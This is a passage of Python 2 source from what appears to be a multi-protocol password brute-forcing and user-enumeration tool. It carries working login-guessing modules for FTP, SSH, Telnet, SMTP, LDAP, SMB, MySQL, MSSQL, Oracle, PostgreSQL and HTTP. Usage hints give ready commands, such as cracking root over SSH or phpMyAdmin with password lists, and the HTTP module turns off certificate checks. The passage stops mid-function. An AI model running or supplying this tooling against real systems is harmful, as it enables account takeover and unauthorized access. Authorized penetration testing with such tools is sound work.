logger.debug('Skipping %d %s, resume[%d]: %s' % (count, ':'.join(prod), idx, self.resume[idx]))
count += 1
continue

queues[cid].put(prod)
count += 1

for q in queues:
q.put(None)

def consume(self, gqueue, pqueue):
module = self.module()
rate_count = 0

while True:
prod = gqueue.get()
if not prod: return

payload = self.payload.copy()

for i, (t, _, keys) in self.iter_keys.iteritems():
if t == 'FILE':
for k in keys:
payload[k] = payload[k].replace('FILE%d' % i, prod[i])
elif t == 'NET':
for k in keys:
payload[k] = payload[k].replace('NET%d' % i, prod[i])
elif t == 'COMBO':
for j, k in keys:
payload[k] = payload[k].replace('COMBO%d%d' % (i, j), prod[i].split(self.combo_delim)[j])
elif t == 'MOD':
for k in keys:
payload[k] = payload[k].replace('MOD%d' %i, prod[i])

for k, m, e in self.enc_keys:
payload[k] = re.sub(r'{0}(.+?){0}'.format(m), lambda m: e(m.group(1)), payload[k])

pp_prod = ':'.join(prod)
logger.debug('pp_prod: %s' % pp_prod)

num_try = 0
start_time = time()
while num_try < self.max_retries or self.max_retries < 0:
num_try += 1

while self.paused:
sleep(1)

if self.rate_reset > 0:
if rate_count >= self.rate_reset:
logger.debug('Reset module')
module = self.module()
rate_count = 0

if self.rate_limit:
sleep(self.rate_limit)

logger.debug('payload: %s' % payload)

try:
rate_count += 1
resp = module.execute(**payload)

except:
e_type, e_value, _ = exc_info()
resp = '%s, %s' % (e_type, e_value.args)
logger.debug('except: %s' % resp)
module = self.module()
rate_count = 0
sleep(self.failure_delay)
continue

actions = self.lookup_actions(resp)
pqueue.put_nowait((actions, pp_prod, resp, time() - start_time))

for a in self.module_actions:
if a in actions:
getattr(module, a)(**payload)

if 'retry' in actions:
logger.debug('Retry %d/%d: %s' % (num_try, self.max_retries, resp))
sleep(self.failure_delay)
continue

break

else:
pqueue.put_nowait((['fail'], pp_prod, resp, time() - start_time))

def monitor_progress(self):
while active_count() > 1:
self.report_progress()
self.monitor_interaction()

self.report_progress()

def report_progress(self):
for i, pq in enumerate(self.thread_report):
while True:

try:
actions, current, resp, seconds = pq.get_nowait()
logger.debug('actions: %s' % actions)

except Empty:
break

p = self.thread_progress[i]
offset = (self.start + p.done_count * self.num_threads) + i + 1
p.current = current
p.seconds[p.done_count % len(p.seconds)] = seconds

if 'fail' in actions:
p.fail_count += 1
p.done_count += 1
logger.warn('%-15s | %-25s \t | %5d | %s' % ('xxx', current, offset, resp))
continue

if 'ignore' not in actions:
p.hits_count += 1
logger.info('%-15s | %-25s \t | %5d | %s' % (resp.compact(), current, offset, resp))

if self.log_dir:
filename = '%d_%s' % (offset, resp.compact().replace(' ', '_'))
with open('%s/%s.txt' % (self.log_dir, filename), 'w') as f:
f.write(resp.dump())

self.push_final(resp)

if 'retry' not in actions:
p.done_count += 1

if 'quit' in actions:
logger.info('Quitting (user match condition)')
raise SystemExit


def monitor_interaction(self):

i, _, _ = select([stdin], [], [], .1)
if not i: return
command = stdin.readline().strip()

if command == 'h':
logger.info('''Available commands:
h show help
<Enter> show progress
d/D increase/decrease debug level
p pause progress
f show verbose progress
x arg add monitor condition
a show all active conditions
q terminate execution now
''')

elif command == 'q':
raise KeyboardInterrupt

elif command == 'p':
self.paused = not self.paused
logger.info(self.paused and 'Paused' or 'Unpaused')

elif command == 'd':
logger.setLevel(logging.DEBUG)

elif command == 'D':
logger.setLevel(logging.INFO)

elif command == 'a':
logger.info(self.actions)

elif command.startswith('x'):
_, arg = command.split(' ', 1)
self.update_actions(arg)

else: # show progress
total_count = sum(p.done_count for p in self.thread_progress)
speed_avg = self.num_threads / (sum(sum(p.seconds) / len(p.seconds) for p in self.thread_progress) / self.num_threads)
remain_seconds = (self.total_size - total_count) / speed_avg
etc_time = datetime.now() + timedelta(seconds = remain_seconds)

logger.info('Progress: {0:>3}% ({1}/{2}) | Speed: {3:.0f} r/s | ETC: {4} ({5} remaining) {6}'.format(
total_count * 100/self.total_size,
total_count,
self.total_size,
speed_avg,
etc_time.strftime('%H:%M:%S'),
pprint_seconds(remain_seconds, '%02d:%02d:%02d'),
self.paused and '| Paused' or ''))

if command == 'f':
for i, p in enumerate(self.thread_progress):
logger.info(' #{0}: {1:>3}% ({2}/{3}) {4}'.format(
i,
p.done_count * 100/(self.total_size/self.num_threads),
p.done_count,
self.total_size/self.num_threads,
p.current))

# }}}

# Response_Base {{{
def match_size(size, val):
if '-' in val:
size_min, size_max = val.split('-')

if not size_min and not size_max:
raise ValueError, 'Invalid interval'

elif not size_min: # size == -N
return size <= int(size_max)

elif not size_max: # size == N-
return size >= int(size_min)

else:
size_min, size_max = int(size_min), int(size_max)
if size_min >= size_max:
raise ValueError, 'Invalid interval'

return size_min <= size <= size_max

else:
return size == int(val)

class Response_Base:

available_conditions = (
('code', 'match status code'),
('size', 'match size (N or N-M or N- or -N)'),
('mesg', 'match message'),
('fgrep', 'search for string'),
('egrep', 'search for regex'),
)

def __init__(self, code, mesg, trace=''):
self.code, self.mesg = code, mesg
self.size = len(self.mesg)
self.trace = trace

def compact(self):
return '%s %s' % (self.code, self.size)

def __str__(self):
return self.mesg

def match(self, key, val):
return getattr(self, 'match_'+key)(val)

def match_code(self, val):
return val == str(self.code)

def match_size(self, val):
return match_size(self.size, val)

def match_mesg(self, val):
return val == self.mesg

def match_fgrep(self, val):
return val in str(self)

def match_egrep(self, val):
return re.search(val, str(self))

def dump(self):
return self.trace or str(self)

# }}}

# TCP_Cache {{{
class TCP_Cache:

available_actions = (
('reset', 'close current connection in order to reconnect for next probe'),
)

available_options = (
('persistent', 'use persistent connections [1|0]'),
)

cache_keys = ('host', 'port')

def __init__(self):
self.cache = {} # {'10.0.0.1:21': fp, ...}

def __del__(self):
for k in self.cache.keys():
self.del_tcp(k)

def get_key(self, **kwargs):
keys = []
for k in self.cache_keys:
if k in kwargs:
keys.append(kwargs[k])
return ':'.join(k for k in keys if k is not None), keys

def get_tcp(self, persistent, **kwargs):
k, z = self.get_key(**kwargs)
if k not in self.cache:

logger.debug('New connection: %s' % k)
fp, banner = self.new_tcp(*z)

if persistent == '1':
self.cache[k] = fp

else:
fp, banner = self.cache[k], ''

return fp, banner

def del_tcp(self, k):
if k in self.cache:
logger.debug('Delete connection: %s' % k)
fp = self.cache[k]
try: fp.close()
except: pass
del self.cache[k]

def reset(self, **kwargs):
k, _ = self.get_key(**kwargs)
logger.debug('Reset connection: %s' % k)
self.del_tcp(k)

# }}}

# FTP {{{
from ftplib import FTP, Error as FTP_Error
class FTP_login(TCP_Cache):
'''Brute-force FTP authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt"""
""" -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [21]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
)
available_options += TCP_Cache.available_options

Response = Response_Base

def new_tcp(self, host, port):
fp = FTP()
resp = fp.connect(host, int(port or 21))
return fp, resp

def execute(self, host, port=None, user=None, password=None, persistent='1'):
try:
fp, resp = self.get_tcp(persistent, host=host, port=port)

if user is not None:
resp = fp.sendcmd('USER ' + user)
if password is not None:
resp = fp.sendcmd('PASS ' + password)

logger.debug('No error: %s' % resp)

except FTP_Error as (resp,):
logger.debug('FTP_Error: %s' % resp)

except EOFError:
logger.debug('EOFError')
resp = '500 Connection reset by peer'

except socket.error:
logger.debug('socket.error')
resp = '500 Connection reset by peer'

code, mesg = resp.split(' ', 1)
return self.Response(code, mesg)

# }}}

# SSH {{{
try:
import paramiko
l = logging.getLogger('paramiko.transport')
l.setLevel(logging.CRITICAL)
l.addHandler(handler)
except ImportError:
warnings.append('paramiko')

class SSH_login(TCP_Cache):
'''Brute-force SSH authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=root password=FILE0 0=passwords.txt"""
""" -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session' -x reset:code=0""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [22]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
('auth_type', 'auth type to use [password|keyboard-interactive]'),
)
available_options += TCP_Cache.available_options

Response = Response_Base

cache_keys = ('host', 'port', 'user')
def new_tcp(self, host, port, user):
fp = paramiko.Transport('%s:%s' % (host, int(port or 22)))
fp.start_client()
return fp, fp.remote_version

def execute(self, host, port=None, user=None, password=None, persistent='1', auth_type='password'):
try:
fp, resp = self.get_tcp(persistent, host=host, port=port, user=user)

if user is not None and password is not None:
if auth_type == 'password':
fp.auth_password(user, password, fallback=False)

elif auth_type == 'keyboard-interactive':
fp.auth_interactive(user, lambda a,b,c: [password] if len(c) == 1 else [])

else:
raise NotImplementedError("Incorrect auth_type '%s'" % auth_type)

logger.debug('No error')
code, mesg = '0', resp

except paramiko.AuthenticationException as e:
logger.debug('AuthenticationException: %s' % e)
code, mesg = '1', str(e)

except paramiko.SSHException as e:
logger.debug('SSHException: %s' % e)
code, mesg = '1', str(e)

return self.Response(code, mesg)

# }}}

# Telnet {{{
from telnetlib import Telnet
class Telnet_login(TCP_Cache):
'''Brute-force Telnet authentication'''

usage_hints = (
"""%prog host=10.0.0.1 inputs='FILE0\\nFILE1' 0=logins.txt 1=passwords.txt persistent=0"""
""" prompt_re='Username:|Password:' -x ignore:egrep='Login incorrect.+Username:'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [23]'),
('inputs', 'list of values to input'),
('prompt_re', 'regular expression to match prompts [\w+]'),
('timeout', 'seconds to wait for prompt_re to match received data [20]'),
)
available_options += TCP_Cache.available_options

Response = Response_Base

def new_tcp(self, host, port):
fp = Telnet(host, int(port or 23))
self.prompt_count = 0
return fp, None

def execute(self, host, port=None, inputs=None, prompt_re='\w+:', timeout='20', persistent='1'):
fp, _ = self.get_tcp(persistent, host=host, port=port)
trace = ''
timeout = int(timeout)

if self.prompt_count == 0:
_, _, raw = fp.expect([prompt_re], timeout=timeout)
logger.debug('raw banner: %s' % repr(raw))
trace += raw
self.prompt_count += 1

try:
for val in inputs.split(r'\n'):
logger.debug('input: %s' % val)
cmd = val + '\n' #'\r\x00'
fp.write(cmd)
trace += cmd

_, _, raw = fp.expect([prompt_re], timeout=timeout)
logger.debug('raw %d: %s' % (self.prompt_count, repr(raw)))
trace += raw
self.prompt_count += 1

mesg = repr(raw)[1:-1] # strip enclosing single quotes

except EOFError as e:
mesg = 'EOFError: %s' % e
logger.debug(mesg)

return self.Response('0', mesg, trace)

# }}}

# SMTP {{{
from smtplib import SMTP, SMTPAuthenticationError, SMTPHeloError, SMTPException
class SMTP_Base(TCP_Cache):

available_options = TCP_Cache.available_options
available_options += (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [25]'),
('helo', 'first command to send after connect [None]'),
('user', 'usernames to test'),
)

Response = Response_Base

cache_keys = ('host', 'port', 'helo')

def new_tcp(self, host, port, helo):
fp = SMTP()
resp = fp.connect(host, int(port or 25))

if helo:
cmd, name = helo.split(' ', 1)

if cmd.lower() == 'ehlo':
resp = fp.ehlo(name)
else:
resp = fp.helo(name)

return fp, resp


class SMTP_vrfy(SMTP_Base):
'''Enumerate valid users using SMTP VRFY'''

usage_hints = (
'''%prog host=10.0.0.1 user=FILE0 0=logins.txt [helo='ehlo its.me.com']'''
''' -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421''',
)

def execute(self, host, port=None, helo=None, user=None, persistent='1'):
fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)

if user is not None:
resp = fp.verify(user)

code, mesg = resp
return self.Response(code, mesg)


class SMTP_rcpt(SMTP_Base):
'''Enumerate valid users using SMTP RCPT TO'''

usage_hints = (
'''%prog host=10.0.0.1 user=FILE0@localhost 0=logins.txt [helo='ehlo its.me.com']'''
''' [mail_from=bar@example.com] -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421''',
)

available_options = SMTP_Base.available_options
available_options += (
('mail_from', 'sender email [test@example.org]'),
)

def execute(self, host, port=None, helo=None, mail_from='test@example.org', user=None, persistent='1'):
fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)

if mail_from:
resp = fp.mail(mail_from)

if user:
resp = fp.rcpt(user)

fp.rset()

code, mesg = resp
return self.Response(code, mesg)


class SMTP_login(SMTP_Base):
'''Brute-force SMTP authentication'''

usage_hints = (
'''%prog host=10.0.0.1 user=f.bar@dom.com password=FILE0 0=passwords.txt [helo='ehlo its.me.com']''',
''' -x ignore:fgrep='Authentication failed' -x ignore,reset,retry:code=421''',
)

available_options = SMTP_Base.available_options
available_options += (
('password', 'passwords to test'),
)

def execute(self, host, port=None, helo=None, user='', password='', persistent='1'):
fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)

try:
resp = fp.login(user, password)

except (SMTPHeloError,SMTPAuthenticationError,SMTPException) as resp:
logger.debug('SMTPError: %s' % resp)

code, mesg = resp
return self.Response(code, mesg)

# }}}

# LDAP {{{
if not which('ldapsearch'):
warnings.append('openldap')

class Response_LDAP(Response_Base):
def __init__(self, resp):
self.code, self.out, self.err = resp
self.size = len(self.out + self.err)
self.mesg = ', '.join(p.strip() for p in self.out.splitlines() + self.err.splitlines())

def dump(self):
return '\n'.join(['out:', self.out, 'err:', self.err])

# Because python-ldap-2.4.4 did not allow using a PasswordPolicyControl
# during bind authentication (cf. http://article.gmane.org/gmane.comp.python.ldap/1003),
# I chose to wrap around ldapsearch with "-e ppolicy".

class LDAP_login:
'''Brute-force LDAP authentication'''

usage_hints = (
"""%prog host=10.0.0.1 bindn='cn=Directory Manager' bindpw=FILE0 0=passwords.txt"""
""" -x ignore:mesg='ldap_bind: Invalid credentials (49)'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [389]'),
('binddn', 'usernames to test'),
('bindpw', 'passwords to test'),
('basedn', 'base DN for search'),
('ssl', 'use SSL/TLS [0|1]'),
)
available_actions = ()

Response = Response_LDAP

def execute(self, host, port='389', binddn='', bindpw='', basedn='', ssl='0'):
uri = 'ldap%s://%s:%s' % ('s' if ssl != '0' else '', host, port)
cmd = ['ldapsearch', '-H', uri, '-e', 'ppolicy', '-D', binddn, '-w', bindpw, '-b', basedn]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env={'LDAPTLS_REQCERT': 'never'})
out = p.stdout.read()
err = p.stderr.read()
code = p.wait()

return self.Response((code, out, err))

# }}}

# SMB {{{
try:
from impacket import smb as impacket_smb
except ImportError:
warnings.append('impacket')

class SMB_login(TCP_Cache):
'''Brute-force SMB authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt"""
""" -x ignore:fgrep=STATUS_LOGON_FAILURE -x reset:code=0""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [139]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
('password_hash', "LM/NT hashes to test, at least one hash must be provided ('lm:nt' or ':nt' or 'lm:')"),
('domain', 'domains to test'),
)
available_options += TCP_Cache.available_options

Response = Response_Base

# ripped from medusa smbnt.c
error_map = {
0xFF: 'UNKNOWN_ERROR_CODE',
0x00: 'STATUS_SUCCESS',
0x0D: 'STATUS_INVALID_PARAMETER',
0x5E: 'STATUS_NO_LOGON_SERVERS',
0x6D: 'STATUS_LOGON_FAILURE',
0x6E: 'STATUS_ACCOUNT_RESTRICTION',
0x6F: 'STATUS_INVALID_LOGON_HOURS',
0x70: 'STATUS_INVALID_WORKSTATION',
0x71: 'STATUS_PASSWORD_EXPIRED',
0x72: 'STATUS_ACCOUNT_DISABLED',
0x5B: 'STATUS_LOGON_TYPE_NOT_GRANTED',
0x8D: 'STATUS_TRUSTED_RELATIONSHIP_FAILURE',
0x93: 'STATUS_ACCOUNT_EXPIRED',
0x24: 'STATUS_PASSWORD_MUST_CHANGE',
0x34: 'STATUS_ACCOUNT_LOCKED_OUT',
0x01: 'AS400_STATUS_LOGON_FAILURE',
}

def new_tcp(self, host, port):
fp = impacket_smb.SMB("*SMBSERVER", host, sess_port=int(port or 139))
return fp, fp.get_server_name()

def execute(self, host, port=None, user=None, password=None, password_hash=None, domain='', persistent='1'):
fp, mesg = self.get_tcp(persistent, host=host, port=port)

try:
if user is not None:
if password is not None:
fp.login(user, password, domain)

else:
lmhash, nthash = password_hash.split(':')
fp.login(user, '', domain, lmhash, nthash)

code = '0'

except impacket_smb.SessionError as e:
code = '%x-%x' % (e.error_class, e.error_code)
mesg = self.error_map.get(e.error_code, '')

error_class = e.error_classes.get(e.error_class, None) # (ERRNT, {})
if error_class:
class_str = error_class[0] # 'ERRNT'
error_tuple = error_class[1].get(e.error_code, None) # ('ERRnoaccess', 'Access denied.') or None

if error_tuple:
mesg += ' - %s %s' % error_tuple
else:
mesg += ' - %s' % class_str

return self.Response(code, mesg)

# }}}

# POP {{{
class Passd_Error(Exception): pass
class Passd:
def connect(self, host, port):
self.fp = socket.create_connection((host, port))
return self.getresp() # welcome banner

def close(self):
self.fp.close()

def sendcmd(self, cmd):
self.fp.sendall(cmd + '\r\n')
return self.getresp()

def getresp(self):
resp = self.fp.recv(1024)
while not resp.endswith('\r\n'):
resp += self.fp.recv(1024)

code, _ = self.unparse(resp)
if not code.startswith('2'):
raise Passd_Error, resp

return resp

def unparse(self, resp):
i = resp.rstrip().rfind('\n') + 1
code = resp[i:i+3]
mesg = resp[i+4:]

return code, mesg

class POP_passd:
'''Brute-force poppassd authentication (http://netwinsite.com/poppassd/ not POP3)'''

usage_hints = (
'''%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:code=500''',
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [106]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, port=None, user=None, password=None):
try:
fp = Passd()
resp = fp.connect(host, int(port or 106))
trace = resp

if user is not None:
cmd = 'user %s' % user
resp = fp.sendcmd(cmd)
trace += '\r\n'.join((cmd, resp))

if password is not None:
cmd = 'pass %s' % password
resp = fp.sendcmd(cmd)
trace += '\r\n'.join((cmd, resp))

except Passd_Error as (resp,):
logger.debug('Passd_Error: %s' % resp)
trace += '\r\n'.join((cmd, resp))

finally:
fp.close()

code, mesg = fp.unparse(resp)
return self.Response(code, mesg, trace)

# }}}

# MySQL {{{
try:
import _mysql
except ImportError:
warnings.append('mysql-python')

class MySQL_login:
'''Brute-force MySQL authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep='Access denied for user'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [3306]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, port=None, user='anony', password=''):

try:
fp = _mysql.connect(host=host, port=int(port or 3306), user=user, passwd=password)
resp = '0', fp.get_server_info()

except _mysql.Error, resp: pass

code, mesg = resp
return self.Response(code, mesg)

# }}}

# MSSQL {{{
# I did not use pymssql because neither version 1.x nor 2.0.0b1_dev were multithreads safe (they all segfault)
class MSSQL:
# ripped from medusa mssql.c
hdr = '\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

pt2 = '\x30\x30\x30\x30\x30\x30\x61\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x20\x18\x81\xb8\x2c\x08\x03\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x73\x71\x75\x65\x6c\x64\x61\x20\x31\x2e\x30\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

pt3 = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x04\x02\x00\x00\x4d\x53\x44\x42\x4c\x49\x42\x00\x00\x00\x07\x06\x00\x00' \
'\x00\x00\x0d\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00'

langp = '\x02\x01\x00\x47\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x30\x30\x00\x00' \
'\x00\x03\x00\x00\x00'

def connect(self, host, port):
self.fp = socket.create_connection((host, port))

def login(self, user, password):
MAX_LEN = 30
user_len = len(user)
password_len = len(password)
data = self.hdr + user[:MAX_LEN] + '\x00' * (MAX_LEN - user_len) + chr(user_len) + \
password[:MAX_LEN] + '\x00' * (MAX_LEN - password_len) + chr(password_len) + self.pt2 + chr(password_len) + \
password[:MAX_LEN] + '\x00' * (MAX_LEN - password_len) + self.pt3

self.fp.sendall(data)
self.fp.sendall(self.langp)

resp = self.fp.recv(1024)
code, size = self.parse(resp)

return code, size

def parse(self, resp):
i = 8
while True:
resp = resp[i:]
code, size = unpack('<cH', resp[:3])
#logger.debug('code: %s / size: %d' % (code.encode('hex'), size))

if code == '\xfd': # Done
break

if code in ('\xaa', '\xab') : # Error or Info message
num, state, severity, msg_len = unpack('IBBB', resp[3:10])
msg = resp[11:11+msg_len]
return num, msg

i = size + 3

raise Exception, 'Failed to parse response'

class MSSQL_login:
'''Brute-force MSSQL authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [1433]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
)
available_actions = ()

Response = Response_Base

def __init__(self):
self.m = MSSQL()

def execute(self, host, port=None, user='', password=''):
self.m.connect(host, int(port or 1433))
code, mesg = self.m.login(user, password)
return self.Response(code, mesg)

# }}}

# Oracle {{{
try:
import cx_Oracle
except ImportError:
warnings.append('cx_Oracle')

class Oracle_login:
'''Brute-force Oracle authentication'''

usage_hints = (
"""%prog host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505""",
"""%prog host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt -x ignore:code=ORA-01017""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [1521]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
('sid', 'sid or service names to test'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, port=None, user='', password='', sid=''):
dsn = cx_Oracle.makedsn(host, port or '1521', sid)
try:
fp = cx_Oracle.connect(user, password, dsn)
code, mesg = '0', fp.version

except cx_Oracle.DatabaseError as (e,):
code, mesg = e.message[:-1].split(': ', 1)

return self.Response(code, mesg)

# }}}

# PostgreSQL {{{
try:
import psycopg2
except ImportError:
warnings.append('psycopg')

class Pgsql_login:
'''Brute-force PostgreSQL authentication'''

usage_hints = (
"""%prog host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt -x ignore:fgrep='password authentication failed for user'""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [5432]'),
('user', 'usernames to test'),
('password', 'passwords to test'),
('database', 'databases to test [postgres]'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, port=None, user=None, password=None, database='postgres', ssl='disable'):
try:
psycopg2.connect(host=host, port=int(port or 5432), user=user, password=password, database=database, sslmode=ssl)
code, mesg = '0', 'OK'
except psycopg2.OperationalError as e:
code, mesg = '1', str(e)[:-1]

return self.Response(code, mesg)

# }}}

# HTTP {{{
from urllib import quote, urlencode
from urlparse import urlparse, urlunparse, parse_qsl
try:
import pycurl
except ImportError:
warnings.append('pycurl')

try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO

class Controller_HTTP(Controller):
def expand_key(self, arg):
key, val = arg.split('=', 1)
if key == 'url':
m = re.match(r'(?:(?P<scheme>.+)://)?(?P<host>.+?)(?::(?P<port>[^/]+))?/'\
+ '(?P<path>[^;?#]*)'\
+ '(?:\;(?P<params>[^?#]*))?'\
+ '(?:\?(?P<query>[^#]*))?'\
+ '(?:\#(?P<fragment>.*))?' , val)

if not m:
yield (key, val)

else:
for k, v in m.groupdict().iteritems():
if v is not None:
yield (k, v)
else:
yield (key, val)

class Response_HTTP(Response_Base):

def __init__(self, code, content_length, response, trace):
self.code, self.content_length = code, content_length
self.response, self.trace = response, trace
self.size = len(self.response)

def compact(self):
return '%s %s' % (self.code, '%d:%d' % (self.size, self.content_length))

def __str__(self):
i = self.response.rfind('HTTP/', 0, 5000)
if i == -1:
return ''
else:
j = self.response.find('\n', i)
line = self.response[i:j]
return line.strip()

def match_clen(self, val):
return match_size(self.content_length, val)

def match_fgrep(self, val):
return val in self.response

def match_egrep(self, val):
return re.search(val, self.response, re.M)

available_conditions = Response_Base.available_conditions
available_conditions += (
('clen', 'match Content-Length header (N or N-M or N- or -N)'),
)

class HTTP_fuzz(TCP_Cache):
'''Fuzz HTTP/HTTPS'''

usage_hints = [
"""%prog url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500""",

"""%prog url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt"""
""" -x ignore:code=401""",

"""%prog url=http://10.0.0.1/phpmyadmin/index.php method=POST"""
""" body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt follow=1"""
""" accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server'""",
]

available_options = (
('url', 'main url to target (scheme://host[:port]/path?query)'),
#('host', 'hostnames or subnets to target'),
#('port', 'ports to target'),
#('scheme', 'scheme [http | https]'),
#('path', 'web path [/]'),
#('query', 'query string'),
('body', 'body data'),
('header', 'use custom headers, delimited with "\\r\\n"'),
('method', 'method to use [GET | POST | HEAD | ...]'),
('user_pass', 'username and password for HTTP authentication (user:pass)'),
('auth_type', 'type of HTTP authentication [basic | digest | ntlm]'),
('follow', 'follow any Location redirect [0|1]'),
('max_follow', 'redirection limit [5]'),
('accept_cookie', 'save received cookies to issue them in future requests [0|1]'),
('http_proxy', 'HTTP proxy to use (host:port)'),
('ssl_cert', 'client SSL certificate file (cert+key in PEM format)'),
('timeout_tcp', 'seconds to wait for a TCP handshake [10]'),
('timeout', 'seconds to wait for a HTTP response [20]'),
('before_urls', 'comma-separated URLs to query before main url'),
('after_urls', 'comma-separated URLs to query after main url'),
('max_mem', 'store no more than N bytes of request+response data in memory [-1 (unlimited)]'),
)
available_options += TCP_Cache.available_options

Response = Response_HTTP

cache_keys = ('host', 'port', 'scheme')
def new_tcp(self, host, port, scheme):
fp = pycurl.Curl()
fp.setopt(pycurl.SSL_VERIFYPEER, 0)
fp.setopt(pycurl.SSL_VERIFYHOST, 0)
fp.setopt(pycurl.HEADER, 1)
fp.setopt(pycurl.USERAGENT, 'Mozilla/5.0')
fp.setopt(pycurl.NOSIGNAL, 1)

return fp, None

def execute(self, url=None, host=None, port=None, scheme='http', path='/', params='', query='', fragment='', body='', header='', method='GET', user_pass='', auth_type='basic',
follow='0', max_follow='5', accept_cookie='0', http_proxy='', ssl_cert='', timeout_tcp='10', timeout='20', persistent='1',
before_urls='', after_urls='', max_mem='-1'):

if url:
scheme, host, path, params, query, fragment = urlparse(url)
if ':' in host:
host, port = host.split(':')
del url

fp, _ = self.get_tcp(persistent, host=host, port=port, scheme=scheme)

fp.setopt(pycurl.FOLLOWLOCATION, int(follow))
fp.setopt(pycurl.MAXREDIRS, int(max_follow))
fp.setopt(pycurl.CONNECTTIMEOUT, int(timeout_tcp))
fp.setopt(pycurl.TIMEOUT, int(timeout))
fp.setopt(pycurl.PROXY, http_proxy)

def noop(buf): pass
fp.setopt(pycurl.WRITEFUNCTION, noop)

def debug_func(t, s):
if max_mem > 0 and trace.tell() > max_mem:
